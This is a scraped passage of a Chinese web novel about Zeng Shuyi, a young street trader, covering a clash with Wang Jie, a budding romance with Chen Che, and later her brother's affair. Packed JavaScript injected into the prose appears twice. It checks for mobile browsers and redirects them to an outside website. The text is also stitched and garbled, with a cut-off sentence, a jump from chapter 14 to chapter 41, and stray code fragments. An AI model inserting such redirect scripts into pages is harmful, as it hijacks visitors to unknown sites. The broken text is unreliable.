“你在说什么?”曾舒仪停下自行车,从自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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曾舒仪放下脸来,“王杰,说话要讲究真凭实据的。你说是我传的谣言,证据呢?而且是不是谣言,你自己心里清楚。还有你刚刚的话外之音,该不会上次我被举报的事,是你干的?” “我……”王杰这才注意到曾舒仪嘴皮子很溜,他来找曾舒仪之前,已经去找了投机倒把办公室的人,这会已经在路上了。 这一次,他等着看曾舒仪被抓紧去,“曾舒仪,你会后悔的!” “你再不放开,我也会让你后悔!”曾舒仪道。 王杰当然不会放了曾舒仪,虽然只是谣言,但厂里领导已经找他讲话,话里话外都是在暗示他处理好人际关系,有这种谣言在,升组长的事没他的份。 他费尽心思才得到的机会,马上要成功了,现在全毁在曾舒仪手上。 蛇蝎妇人!王杰在心里道。 看王杰不肯撒手,曾舒仪大喊起来,“抓流氓啊,有人耍流氓!” 大中午的,路上行人很少,但曾舒仪这一嗓子喊开,王杰立马慌张地说他不是流氓。 但他抓着自行车,另一只手想去捂曾舒仪的嘴,看在别人眼里,和耍流氓没差别了。 “你别喊!你还知不知道羞耻?”王杰吼道。 “是谁不知道羞耻?你在大街上拦小姑娘,你才不要脸吧!”曾舒仪大声道,“快来人啊,这个人耍……” 曾舒仪还没说完,右边的巷子里突然跑出一个男人,一脚踹飞了王杰。 要知道,王杰一身肥肉,少说一八十斤,却被男人踹飞两三米,曾舒仪都看呆了。 定睛一看,曾舒仪还觉得男人有点眼熟,浓眉、高鼻梁、轮廓英俊,留着有点扎人的短寸。 地上的王杰半天爬不起来,扶着腰骂人,“谁啊?那么不长眼睛,是她投机倒把,不是我耍流氓!” 看王杰还不老实,曾舒仪都想下车去踹两脚,不过她认出眼前帮忙的男人是谁,是王杰之前相亲用的照片里的男人。 本人真帅啊。 14. 第 14 章 “姑娘,你没事吧?”男人没看王杰,而是先询问曾舒仪。 曾舒仪手里还握着木棍,“谢谢你同志,我没事。” “没事就好。”男人话音刚落,就被王杰认出来。 “陈澈?你他么眼睛瞎了吗?”王杰挨了陈澈一脚,疼得腰抽筋,“是我啊!” 他们是车间同事,王杰还是前辈,现在认出陈澈,火气更大,“快过来扶我一把!” 陈澈这才认出地上的人是王杰,方才想着救人,没看清就冲过来,现在看到地上的人,陈澈眉头紧皱。 王杰这个人是车间里的滑头,在领导面前低三下四,但对年轻后辈又是另一个态度。现在他打了王杰,王杰心里肯定会记恨上。 曾舒仪没想到二人认识,不过转念一想,如果不认识,王杰也弄不到陈澈相片。 “那个……”曾舒仪不懂陈澈态度,正犹豫怎么说时,投机倒把办公室的红袖章来了。 王杰看到红袖章,激动地指着曾舒仪,“同志,就是她搞投机倒把,还大张旗鼓地搞资本主义,你们快抓她!” 红袖章们一听,立马围住曾舒仪。 曾舒仪很淡定,她现在是有个体经营证的。 “你好大的胆子。”红袖章里的队长看着曾舒仪,让人把曾舒仪带回去审问。 “等等,你们看看这是啥?”曾舒仪拿出她的个体经营证,“你们是专门抓投机倒把的,肯定认识个体经营证,上面有我照片,还盖了公章。同志,我是合法经营,并不是非法投机倒把。” 队长再三确认了曾舒仪的证件,眉头不由皱起,转身去看王杰,“你是觉得我们很闲吗?” 原本还以为能抓个业绩,结果人家有证经营,现在还围了好多人过来,他们不可能拉着人回去要好处。白跑了一趟,只能把气撒在王杰身上,“一次就算了,第二次又乱举报!” 王杰懵了,“不可能啊,她怎么可能有证?” “怎么不可能了?”曾舒仪停好自行车,把自己的个体经营证打开给王杰看,“睁开你的狗眼好好看看,我是合法经营。你却处处找麻烦,还在大街上调戏我,大家伙说说,这种流氓该怎么处理?” “抓他!” “他还耍流氓啊?啧啧,果然相由心生,看着就不是好东西。” “人小姑娘做生意不容易,你盯着人不放,是不是因为她拒绝你?” …… 大家伙对着王杰指指点点,也有说曾舒仪怎么好意思做生意,不过这种话,曾舒仪只当没听到,她让人去报警。 王杰听到曾舒仪要报警,立马换了一个态度,“我说舒仪妹子,咱们还是亲戚呢,没必要闹成这样?你也不想看你大嫂不好做人吧?” “哎呦,那我可太想看我大嫂不高兴了。”曾舒仪乐呵道,“王杰,人不犯我,我不犯人,下次你要闲得没事做就去舔公厕,别来大街上污染空气,看到你都晦气!” 她让红袖章也留下来,帮忙看着王杰,再去和陈澈道谢,“今天的事多谢你啊,我叫曾舒仪,今年刚高中毕业。” “我……我叫陈澈。” 陈澈只比曾舒仪大两岁,他也很年轻,不敢直视小姑娘的眼睛。 虽然曾舒仪不用人帮忙,但陈澈踹王杰那一脚,让曾舒仪对他印象还不错,“好,我记住你名字啦。回头有需要我的,可以找我帮忙。” 话音刚落,警察来了,曾舒仪立马和警察说王杰半路拦下自己,“我说了我是合法经营,他还是拦着我的自行车。警察同志,我好害怕,要不是有这位同志冲出来帮我,我都不知道后果会怎么样。” “你少污蔑我!”王杰替自己辩解,“警察同志,我之前看她在电影院门口耐冰棍,那会她是没有证的。我并不知道她现在有证,这都是误会。” “真的是误会吗?”曾舒仪不承认自己去卖过冰棍,拿贼拿赃,她在卖冰棍时可没被抓到过,只说上次见面看到王杰带着人相亲,还回头来纠缠她,“想来是我踢了他一脚,现在来报复我。警察同志,你们能不能帮帮我,我一个人出来做生意,本就是被逼无奈,现在还被这种癞蛤蟆盯上,我……我害怕。” 她本就长得漂亮,现在掉两滴眼泪,大家伙看得更心疼了。 曾舒仪把自己和王杰相亲,后来王杰又纠缠自己的事都说了,他们一块去警察局,曾舒仪一口咬定王杰要欺负自己,不肯和解。 但王杰又没作出实质性侵犯,警察再三询问事情经过,最后让王杰赔曾舒仪二十块钱,再拘留三天。 曾舒仪见好就收,拿了钱就去找到马淑芬,“马奶奶,和您说个好消息,王杰被抓了!” “真的啊?”马淑芬特别高兴,“怎么回事?” 曾舒仪没说和自己有关,“说是耍流氓,要被拘留。你快和你邻居们都说说,让大家也听个乐子。” 有马奶奶出面,这个事自然而然能传到附近的人都知道。 马淑芬笑得合不拢嘴,“哎呦喂,这真是报应。我和你说,前段时间王杰儿子就因为偷东西被抓,不过王杰给人赔了很多钱,警察看又是个小孩,就让王家好好教育。当时我真是气死人,没想到还有今天!” 她拍着胸脯道,“你放心,这个事我肯定和大家伙说。王杰也是赶到好时候,若是早个几年,他要被批斗下放!” 曾舒仪说可惜了。 “谁说不是。”马淑芬看到曾舒仪后座得竹筐,得知曾舒仪做起小杂货生意,凑更近地去看了看,“舒仪,你的竹筐里有不少东西嘞。正好我家针线没了,你给我来两卷。” 她心情好,愿意照顾下曾舒仪的生意,并不是真的缺针线。 “好嘞,我给您便宜点。”曾舒仪把针线拿出来,马淑芬又帮她招呼筒子楼的邻居过来看看,顺便说王杰的八卦。 筒子楼里大部分都是机械厂员工,听到王杰被拘留,一个个都来了劲。 也有早就看王杰不顺眼的,立马跑去厂里告状,车间要定组长,之前王杰和主任走得近,现在有了这个事,王杰别说升组长,级别也要降低。 马淑芬把曾舒仪当知心忘年交,热情地帮忙招揽生意,“你们以后有想买的,都可以找这孩子,她办事实诚。这些东西比去国营商店,合算多了!” 针线纽扣不算稀奇,得知曾舒仪过几天有糖卖,立马有人提出拿粮食换,“姑娘,你到时候一定要来,我家孩子多,就贪一口甜的。” “我家也是,姑娘你来了大喊一声,我肯定买!” …… 榕城人爱吃甜,做肉做海鲜,都爱放点糖。大家对于糖的需求,快能比得上盐这类调味品。 曾舒仪心里算了算能卖多少糖,感觉只要她能供应得上,就不愁卖。 和大家伙说好后,曾舒仪另外抓了两卷线给马淑芬当感谢,要不是有马淑芬帮忙吆喝,大家不见得那么信任她。 “哎呀不用不用,我又没帮你做什么。”马淑芬不好意思收曾舒仪的线。 “应该的,要不是您啊,我今天卖不了那么多货。您看看,我这竹筐都空了一半。”曾舒仪今天的利润,至少有一块五,算很不错的收入了,“您要是不收下,我都不好意思再来。” 马淑芬看曾舒仪实在,她是打心眼里喜欢,“你这姑娘,做人真不错。那你等等,我孙子刚给我带了一些柑橘回来,我去给你拿。你别走哈,不然我会生气的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020885|178520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾舒仪笑着说不走,没多久,马淑芬就拿着五个黄橙橙的柑橘,放到曾舒仪的竹筐里。 “柑橘是乡下自己种的,酸酸甜甜的,你带回去尝个鲜。”马淑芬越看曾舒仪越喜欢,“过几天你再来,我让你尝尝柚子。天色不早,你快点回家去,不然你一个小姑娘不安全。” 她和曾舒仪挥挥手,看曾舒仪走远后,才哼着歌往家去做饭。她今天买了瘦肉,准备做荔枝肉,因为孙子晚上要来吃饭。 随着筒子楼里一家家地飘出饭菜香,马淑芬也做好饭菜,“老头,你去门口看看,咱大孙子怎么还没来?” 陈爱国捶捶膝盖,不乐意动,“都这个时间了,肯定快到了。” “让你做点事,怎么那么费劲呢?”马淑芬撇嘴解下围裙,看到推门进来的孙子,立马笑容满面,“我刚还和你爷爷说你要到了,快去洗手吃饭,我今天做了你最爱吃的荔枝肉。” 她拉着孙子去洗手,坐下后,给孙子夹了满满一碗肉。 荔枝肉酸酸甜甜,一口下去,很是开胃,陈澈在吃饭时,马淑芬就笑盈盈地看着,“怎么样,最近工作还好吧?” “嗯,都不错。”陈澈看奶奶又给他夹菜,赶忙说够了,“你们也吃,别光顾着看我吃。” “好好好,我们也吃。”马淑芬一边吃饭,一边和孙子聊最近的事,等聊到楼上王杰被拘留,马淑芬忍不住哈哈笑出声来,“我今天是真高兴啊,这都是报应!” 想到曾舒仪,马淑芬突然动了动心思,“小澈,你搞对象没?” “咳咳。”陈澈被突如其来的问题呛到,红着脸摇头。 马淑芬脸上的笑容更深了,“我最近认识一个小姑娘,长得那叫一个漂亮,嘴巴甜,人也实在。今天就是她来和我说,王杰被拘留的事,小姑娘人可好了,过些日子,你再来奶奶家呗?” 来说王杰被拘留的事,陈澈想到了中午遇到的小姑娘,难道是一个人? 应该不是吧,世上哪里有那么巧的事。 陈澈拒绝道,“奶奶,我现在没时间谈对象,师父说我正是学技术的关键时候,缓一缓吧。” “哎呀,学技术和搞对象又不冲突,你是没看到人姑娘长什么样,等你看到了,你巴不得快点和人结婚了。”马淑芬急了,但孙子就是不肯点头,恨不得拉着孙子去和曾舒仪相亲。 这边陈家在吃饭,曾家那里刚吃完。 曾舒仪回家前,特意买了几双纯棉袜子,妈妈、二姐、向民都有。 “妈,你快试试,可舒服了。”曾舒仪拉着她妈坐下,“马上十一月,天越来越冷,你以前的袜子都破了。” 林家珍心疼钱,“你干嘛浪费这个钱?拿去退了吧,我不用。” “给你买的,你就穿,我今天挣钱了呢!”曾舒仪替她妈脱了鞋,至于她爸故意发出的咳嗽声,只当没听到。 曾庆良:……还真不给他买? 王娟看得眼红,酸酸地道,“舒仪有本事了啊,不过你这样是不是太厚此薄彼,不给我和你大哥买就算了,怎么爸也没有?” “我只换了这点布票,买不了更多。”曾舒仪说着笑起来,“大嫂,你不是看不上我做生意,觉得丢人吗?怎么,现在你也想要我买的东西?” “你!我才不想要!”王娟愤愤坐下。一双破袜子,她自己买得起。 “这可是你说的哦,本来我还想着下次给大家都买,既然你那么替我着想,我先谢谢你。” 曾舒仪乐呵呵说完,看她爸板着脸,故意道,“爸,你最近是不是没看报纸?我听人说,好像要有个新政策,叫计划生育来着。如果是真的,我大哥大嫂就不能给你生孙子了。” 40-50 第41章 两封信都是陈澈寄来的, 不过寄出的时间差了半个月,最后在同一天送到曾舒仪手里。 第一封信写陈澈开始进入工厂,发现国内外差距巨大。最后问曾舒仪怎么样, 表示他想她了。 第二封信,一开始就写了,他等不到下个月,又迫切地想给曾舒仪写信,表达他的思念之苦。 信里还有几张外汇卷, 陈澈说是他特意找人换的, 可以让曾舒仪拿去百货大楼用。 一些进口家电和护肤品之类的,就可以用外汇卷买,还不用票。 曾舒仪数了数,惊人地有五百块。 那么多钱, 够她买台电视机了! 虽然曾舒仪在家的时间少,但每天回家就一个人,有时候外边一点动静, 都会把她吓一大跳。 这会儿看到外汇卷,第一反应她就想到电视机, 家里有个动静,以后回家也能热闹一点。 既然陈澈想着她,她第二天去了赵磊家, 借他家缝纫机,打算给陈澈做一身棉衣,还有手套那些。 听说苏联冷得很, 她给加了厚厚的棉花。 孙丽丽刚哄了儿子睡觉,过来看到曾舒仪做的是男士棉衣,“舒仪, 你给你家里人做吗?不对,你爸妈有缝纫机吧?” 她看着尺寸,比小叔子要大不少,心里一咯噔,“舒仪,你谈对象了?” “嫂子,你不要和别人说哈。”曾舒仪脸颊微红,“这事我家里人都不知道,不然我就回家做棉衣了。” 孙丽丽知道小叔子一直喜欢曾舒仪,现在好了,人曾舒仪有对象了,这可怎么办? “舒仪,你对象是什么人?” 曾舒仪简单说了陈澈的事,孙丽丽听得更没心气了,果然处处都优秀,能出国留学,说明是个有本事的。 “哎,你都有对象了,我家赵福还不知道该怎么办?”孙丽丽故意地叹气。 曾舒仪道:“嫂子你不是要给他介绍么,让他多看看,我可以去顶替他上班。” “他啊,眼光高着呢。算了,不说他的事,倒是你,竟然不声不响有了对象。但他还要留学那么久,你就不怕吗?”孙丽丽心想两年后,曾舒仪年纪不小了,到时候曾家不催是不可能的。 曾舒仪说不怕,“日久见人心,如果能把这两年撑过来,以后也不会有更难的事。” 棉衣不是一天能做好,曾舒仪把做了一半的棉衣留下,晚上赵磊兄弟回来时,孙丽丽特意说了这个事。 “赵福,不是嫂子要多嘴。之前我就让你哥和你提过,既然你喜欢舒仪,就要早点表明心意。好姑娘是一堆人在后面追着,不会主动来找你的。” 孙丽丽说着又想叹气,她觉得曾舒仪真的蛮好的,好说话,还是一起做生意的,这要是成了一家人,以后肯定融洽,“现在人家有了对象,你就安心去相亲,你年纪也不小了,不能再拖了。” 赵福坐在矮凳上,两只手抱着腿,头压得低低的。他一直不敢和曾舒仪表明心意,是因为他心里自卑。 他长相一般,工作能力也一般,能有今天,全靠大哥和曾舒仪带着他。大哥也说过,他和曾舒仪并不般配,他一直拖啊拖,拖到了今天。 孙丽丽看小叔子不说话,心想自己是不是说得太过了,给自家男人使了个眼色,“我去给你们煮点夜宵。” 赵磊过去拍拍弟弟的背,“行了,大男人不要哭哭啼啼。你喜欢人家却不敢表白,现在人家有对象,你大大方方地祝福,能做到吗?” “哥,我心里难受。”赵福快哭了。 “难受就在家里难受,明天见了舒仪,不要让人察觉到不对劲,人家不欠咱们的。她有了好对象,是好事。”赵磊一直就觉得两个人没可能,不然也不会那么多年,一点事都没发生。 他走到厨房,让孙丽丽别做了,“赵福回屋了,你别忙活。” “那你不饿?” “我就不吃了,之前吃了半个月宵夜,你看我这肚子一天天大了起来。”赵磊拉着媳妇回屋去,“过两天,你就给赵福介绍对象。等他多见几个姑娘,也就忘记舒仪的事。” “真是可惜啊。”孙丽丽感叹,“舒仪真的蛮好的姑娘,我还以为有点希望呢。” 赵磊却说不可惜,“一开始我就不看好,让这小子歇了这份心,是他自己怂。能现在这样,大家一块儿做生意,已经很不错了。人不能太贪心。” “对了,我准备把老宅修缮一下,等赵福结婚后,他就能搬过去自己住。” 现在赵福没结婚,所以跟着赵磊一块到新家,但是结了婚,就可以自己开火过日子。 他没理由,一辈子带着弟弟生活。 孙丽丽说可以,“就是不知道,赵福能不能看上一般的姑娘?” “看缘分吧,他总不能一辈子不结婚?”赵磊不觉得是个大事,失恋而已,谁都会失恋。 不过第二天,他还是和弟弟换了班,免得弟弟见到曾舒仪不自在。 曾舒仪听赵磊说赵福是去相亲,也就没多想,她花了五天才把一整套棉衣给做好,去完邮局,又去了百货大楼。 她刚进门,就看到熟悉的售货员,笑着过去喊了一声“张姐”。 “你来真早,不是说了十点吗?”张姐笑盈盈地带着曾舒仪往摊位里边去,“上次你给我弄的棉花真好,我妹妹说被面也好,她都买不到。” 曾舒仪来百货大楼也几个月了,没事做的时候,就和这些柜姐聊天,拉近关系。 上个月张姐妹妹要结婚,想要比较好的棉花和被面,就是曾舒仪帮忙找的关系,从棉纺厂以职工福利买来的。 “这都小事,咱们都在一层楼干活,互相照应是应该的。”曾舒仪今天就是来找张姐买电视机。 张姐负责电器柜台,专门卖电视机和电风扇,这时候就算有钱,货也不一定有。 得知曾舒仪要买电视机,一来货,就给曾舒仪留了一台。 “我们还是不一样,你是自己当老板,我只是打工的。”张姐带着曾舒仪找到电视机,“也就你们这种老板有实力,这台是刚到的,你看看没问题,我就去给你开票。” “你肯定帮我看过了,我相信你。”曾舒仪笑着去抱电视机,“好家伙,还挺沉的。” “那可不,有二十几斤呢。你别抱了,我喊小刘帮你抱出去。”张姐给曾舒仪开了票,又把手下小弟喊了过来。 曾舒仪说了句“回见”,带着小刘出去了。 她买了电视机,迫不及待地安装天线,等看到电视里的人影,感觉特别有意思。 一直到过年,等曾舒仪回家过年,家里才知道她买了电视机。 “舒仪真是有本事啊。”王娟吃饭时,突然接了一句,“你现在挣很多钱吧,你看咱家也空空的,你让爸妈也享受享受,把你电视机搬过来用几天?” “大嫂,我是挣了小钱,但你也不差。你们吃住都在家里,只要负责我大哥的生活费,想来买个电视机而已,你肯定有这个钱。” 曾舒仪买电视机花了四百六的外汇卷,如果王娟他们去买,就要五百多,还要一张电视机票。这笔钱,王娟可能有,但是难在电视机票上。 王娟撇撇嘴,“你没结婚,不知道结婚后开销多大。你大哥现在威风了,加了个什么文学社,隔三差五要花钱。别说买电视机,就是生活费,我都快拿不出来。” 这话曾舒仪不信,但她懒得搭理大嫂的话,接着自己吃饭。 饭后家里两小孩立马围着曾舒仪,她们都想看电视,曾舒仪只好让他们过两天去。 她和二姐他们坐着嗑瓜子,家里没了曾向民这个能说的,场面安静得很。 过了好一会儿,还是曾庆良先开口,“舒月,你干保姆这些年,也存了不少钱吧?” “爸,你要用钱吗?”曾舒月以为她爸要借钱。 “不是,我好好的,要用什么钱?”曾庆良道,“是你公公写信来了,说你们年纪不小,别只顾着挣钱,该生二胎就生吧。如果你手里有钱,先停一停保姆的工作,把孩子生了再说。” 曾舒月没想到公婆把信写到爸妈这里,她小声道,“好东家不是说有就有的,现在停了,等我生完孩子,不一定能找到。” “那你年纪越来越大,就不生了?”曾庆良皱眉看过去,“人家爸妈都写信到我这里,话里话外都在说我不会教女儿,你现在是有本事了,可以不听家里的话,但你是女人,生孩子是天经地义的事,又不是不会生。” 话音刚落,曾舒月没说话,嗑瓜子的王娟不高兴地起身回了房间。 曾庆良只顾着说女儿,忘记儿媳妇是真的不能生。 “这……我又没说她!”曾庆良心虚地收回目光,下意识压低嗓音,但很快又变成平常音量,“我说舒月……” “爸,二姐有二姐自己的打算,你干嘛一直催。”曾舒仪听不下去,打断道,“要是二姐生完二胎,却找不到工作,又要回家里住,你愿意吗?” 这下曾庆良说不出话来,家里好不容易宽敞点,要是二女儿再拖家带口住进来,不仅要天天吵架,还住得不舒服。 曾舒仪的一句话,就让曾庆良哑口无言。 但这种团聚日子难得,曾庆良又开始说曾舒仪,“你别顾着吃,你自己也是,过个年二十四了,你还不结婚,巷子里的人都要笑话我了。现在我走出去,都不敢和人说话。” “不敢说,就不要说,话太多容易起麻烦。爸,这是好事。”曾舒仪拍拍掌心,不乐意在屋里待,起身去了后厨。 第42章 曾舒仪看她妈坐着发呆, 跟着坐下,“妈,想向民了?” “嗯。”林家珍拉住女儿的手, “你们都大了,我管不了。一个个都不听话,你现在有什么话,也不和家里说。舒仪啊,你说咱们家到底出了什么问题, 一家子人不该和和美美吗?” 林家珍想不通, 谁家不是吵吵闹闹过来? 怎么到她家,就这样闹腾了。 大儿子眼里只有钱。二女儿嘴上不说,但心里有埋怨。三女儿更是生分了,回家像个客人一样。至于小儿子, 她每天想到就睡不着。 “妈,你别想太多,向民不是寄过信回来吗。既然他都说了好, 肯定没问题,至少人是好的。”曾舒仪安抚道。 “谁知道呢, 当妈的不亲眼看到儿子好好的,我又怎么能安心?”林家珍道。 “那这样,等开春后, 我带你去找他,这总可以吧?”曾舒仪也有点不放心,亲自去看看, 心里能舒服点。 林家珍这下有了精神,“可以吗?” “当然可以,向民也是我弟弟。正好我想看看深圳现在怎么样了, 如果可以的话,还想做点别的生意。”曾舒仪做生意这几年,知道风向会一直变化,她现在做小百货,但不见得能一辈子干这个。 以前卖过麦芽糖,后来卖棉花和布,都是不同时间有不同的紧俏货。 曾舒仪和她妈说定了,“等过了正月,我就带你去。这段日子别想有的没的,日子要是不过好,到时候火车都坐不住。” 和她妈说完后,曾舒仪差不多该走了。 天已经黑了,曾舒仪和二姐一家回去,只是刚到院子里,听到大哥房里传来争吵声。 “曾向平,你是不是忘记答应我什么?” “你吵什么,那么大声做什么?” “是我要吵么,你……” 屋里没声了,曾舒仪姐妹对视一眼,走出院门后,曾舒仪才问,“大哥大嫂好像常吵架,之前向民还在家,就有说过。” 曾舒月说是,“妈说从我们不在家后,他们就经常吵架。” 她回头看了看,确认四周没有人,才小声道,“有一次何东经过理工大学附近,看到大哥和一个姑娘走得特别近。” “大哥出轨了?”曾舒仪瞪大了眼睛。 何东说不一定,“我只看到他们并排走,然后挨得很近,并没有牵手。” 他不喜欢曾向平,也就没上前打招呼。 曾舒仪想了想,“大哥确实能干出这种事。”但二姐夫说没牵手,就算抓奸,也要有证据。 想到这里,她很想呸一声,她大哥这个人,是得意忘形了。 “舒仪,你别去管这个事。”曾舒月劝道,“大哥大嫂本来就和我们不亲近,这种夫妻之间的事,还是让他们自己处理,免得我们到时候里外不是人。” “我当然不会管,我是吃饱了撑的,才会去管大嫂的事。”曾舒仪又不喜欢她大嫂,“二姐你放心,就算是大嫂求到我跟前,我也不会管这个事。” 事实上,没过两天,王娟还真的来找曾舒仪了。 看大嫂走到柜台,曾舒仪以为大嫂要买东西,直到大嫂让她出去说话,她才觉得不对劲。 两个人到百货大楼外,王娟动了几次嘴唇,最后才不大好意思地道,“舒仪,我知道咱们家,就你本事最大了。你能不能帮帮我?” “大嫂,你知道的,我不喜欢你。” “那……那都是过去的事了嘛,咱们是一家人啊。”王娟回过娘家,但自从曾舒仪从她娘家要了一大笔钱之后,她又没再像以前一样给娘家花钱,娘家对她很冷淡。 她爸妈说让她睁一只眼闭一只眼,男人嘛,玩腻了就不玩了,如果她非要管,真可能爸曾向平给赶走。 曾舒仪不想管,却好奇怎么了,“你说说,怎么了,我大哥和那女的逼你离婚了?” 王娟吃惊道,“你……你知道了?” “是真的啊。”曾舒仪厌恶地撇撇嘴,“我不知道,刚刚诈你的。我大哥和谁好上了?” “他们班上的一个女同学。” 王娟说着红了眼眶,“从你大哥上大学起,对我就越来越冷淡,一开始我觉得他只是读书累。到了去年,他碰都不碰我,话里话外都是嫌弃。我怕啊,天天都怕,就想着给他送点东西到学校,顺便看看他身边有什么人。但他一看到我,就大发雷霆,还不许我去学校。” 那会王娟就觉得不对劲,后来偷偷去找曾向平,还真让她看到曾向平和一个女人来往。 “舒仪,玉玲不能没有爸,你说我该怎么办啊?”王娟实在没有办法,娘家不想管,公公让他忍一忍,至于婆婆,那是个没主心骨的。 思来想去,她再不情愿,也只能来找曾舒仪,“你帮我想想办法,看能不能让你大哥和那女的断了?” “这还不简单,你去找那女的,说你是曾向平老婆。她要是不同意分手,你就去举报她搞破鞋,这可是要坐牢的,我不信她不怕。”曾舒仪道。 “可是……”王娟也有她的担忧,“可是她不愿意的话,到时候闹起来,你大哥也会被开除,到时候他也去坐牢怎么办?” 她只想曾向平和外边女人分手,并不想毁了曾向平,她们母女以后还得指望曾向平过日子。 曾舒仪无语了,“你男人都搞破鞋了,你还怕他丢了前途?那你就等着吧,等他们哪天生米煮成熟饭,我大哥迟早和你离婚。” 放下话,曾舒仪头也不回地走了,她才不愿意多管这个事。 赵磊看曾舒仪气鼓鼓回来,问怎么了。 “刚那个是我大嫂,我和她一直不对付,吵了一架。”曾舒仪没说实话,毕竟大哥出轨这种事,说出去也会坏了她名声。 赵磊也识趣地没有多问,而是和曾舒仪盘算着接下来的进货,“我想着咱们有三个人,可以分出一个人,去看别的铺面。你知道东二环那盖了一条商业街吧?” 曾舒仪说知道。 “我想着,咱们是不是可以再盘一个铺面,这次不租,我们买,你觉得呢?”赵磊心思活泛,对于挣钱有很大兴趣。他知道弟弟没想法,所以这些事都是先和曾舒仪商量。 曾舒仪觉得可以,她现在手里有三千多块钱,算起来,赵磊兄弟也差不多,他们一人拿出两千块,是可以买下一间铺面的。 赵磊见曾舒仪同意,“那明天我们过去看看,我约了商业街的售房小哥,到时候他会带着我们。” 买下铺面,不仅能多挣一笔钱,还能让弟弟和曾舒仪分开。只要看不到人,再多的喜欢也会慢慢淡了,赵磊这个当哥的,要操心的事太多。 曾舒仪没有意见,当即同意了。 另一边,王娟在公园的椅子上坐了许久。 她让曾向平和狐狸精分手,但曾向平不承认,还说她疑心病重。 曾舒仪那句“离婚”,一直回荡在她耳里。 离婚吗? 她不能离婚的。 她现在不能生,娘家还不喜欢自己,要是离婚了,以后日子怎么过? 而且巷子里,就没一个离婚的人,这要是说出去,她得多丢人! 王娟越想越不能接受离婚,曾向平现在有文化,看不上她,但她得赖着曾向平。 看天还没黑,王娟坐上公交车,去了曾向平的学校。 她直接找到女生宿舍,她不知道女生叫什么,但她可以等,只要等…… 王娟刚转头,就看到和曾向平并排走来的女人,她直直地冲过去。 曾向平瞬间皱眉,过去想拦住王娟,却被王娟一把推开。 “向平,这是谁啊?你同学吗?”王娟昂着下巴,眼神能吃人。 对方明显懵住,问曾向平怎么回事。 曾向平来拉王娟,压着嗓子道,“你到底要做什么,我不是和你说了,有事在家里说,不要闹到学校来!” “我倒是想和你在家里说,但你不听我说啊。再说了我也没闹,我就是来看看你。” 王娟死死瞪着那个女人,“我来看自己爱人,难道还犯法吗?” “什么爱人?”女人更惊讶了。 王娟皮笑肉不笑地勾唇,“我家向平没和你说过么,他是结了婚的,我和他还有一个女儿,已经八岁了。姑娘,我看你也长得人模人样,应该知道,有妇之夫不能碰吧?” 胡冰冰突然身子僵住,她去年答应了曾向平的追求,因为曾向平和她说没结婚。 怎么现在突然跑出来一个爱人? “向平,这是怎么回事?”说话时,胡冰冰眼泪不受控制往下掉,“你不是说你没有结婚吗?” 曾家几兄妹都长得很好,曾向平长得还高,他进入大学后,便有不少女同学示好。 一开始曾向平还本着底线,不和女同学来往。后来一个个出色的女同学给他表达心意,加上和王娟一对比,更加觉得王娟配不上他,这才懂了歪心思。 而胡冰冰是班里最漂亮的姑娘,长得好,人也温柔,很多男同学都喜欢。 曾向平虚荣心作祟,听宿舍同学都夸胡冰冰,便打定主意要追求胡冰冰。花了大半年时间,他才把人追到。 “姑娘,你说谎也不脸红吗?”王娟道,“他都快三十的人了,怎么可能没结婚?动动你的脑子吧,当了狐狸精还装白莲花,我呸!” 眼看着有人看过来,曾向平顾不上别的,直接扛起王娟往外跑。 王娟不敢大声喊,怕真的把人引过来,到时候坏了曾向平的前程,那就得不偿失。 曾向平一路跑着,把王娟扛到没人的地方,发狂地抓着王娟的肩膀,“你到底要怎么样,你要把我毁了才满意是吗?” “我没有要毁了你啊,我只要你不和那个骚狐狸来往就好。向平,我不会和你离婚的,这辈子都不会离婚。”王娟哭着道。 “我什么时候说过要离婚?” “你和她越来越好,不就会嫌弃我吗?”王娟道,“这些日子,你都不碰我了,我心里清楚,你喜欢上别的女人。我告诉你,你要是不和她分手,我就……就去你们教务处!” 她就是说说而已,吓唬曾向平,但看到曾向平脸色白了,就知道这个说法有用,又放缓语气,“向平,你和她断了好不好。只要你们不再来往,我一定不闹,也不来你们学校。” 曾向平好不容易考上大学,绝对不能被退学,是学业重要?还是女人更好? 他心里清楚。 “我答应你。”曾向平深吸一口气,“我以后每周都回家,可以了吧?” “那你和她……” “我和她就没有什么,只是普通同学,也是她来靠近我。你也知道,以前在厂里,就有不少人对我示好。”曾向平尽力安抚王娟,“你不要冲动,我和胡冰冰真的什么事都没有,是她单方面喜欢我。之前是我疏忽了家里,我和你道歉,但我绝对没有做对不起你的事。你要相信我。” “真的吗?” “当然是真的。”曾向平抱住了王娟,轻柔地拍拍王娟的背,“以后不能那么冲动了,如果我被退学,又回不到棉纺厂,咱们以后还怎么过日子?” “嗯嗯。” 王娟要的只是这个承诺,至于曾向平是不是真的和胡冰冰搞过,对她来说已经过去了。而且她男人长得好,又是大学生,有狐狸精扑上来正常。王娟不断地给自己心里安慰,告诉自己,事情解决了。 往后一段时间,曾向平如他说的一样,真的每个周末都回家,就算不回去,也会特意去和王娟说一声。 慢慢的,王娟和曾向平都不提这个事。 另一边,曾舒仪和赵磊选了商业街靠中间的铺面,手续办完,已经在装修了。 第43章 曾舒仪手里的钱花了个差不多, 就留下两百块,装修有赵磊兄弟盯着,她则是带着她妈去深圳。 出发之前, 信就寄出去了,等他们到了深圳火车站,左等右等,等了两个小时,还没等到曾向民来接人。 “妈, 我们自己找去吧。这个点了, 说不定向民忘记。”曾舒仪带着她妈坐公交,换了两次,才在一栋自建房停下,只是敲了门, 来的是生面孔。 “你说那群靓仔啊,他们搬走了。年前几个人不懂怎么回事,打到警察都来了, 我不敢让他们住,就让他们搬走了。”开门的是房东, 他说着,还拿出信,“这个是他们的, 你们一块带走。” 曾舒仪看到是自己写的,还有一些其他人的,难怪弟弟没来接人, 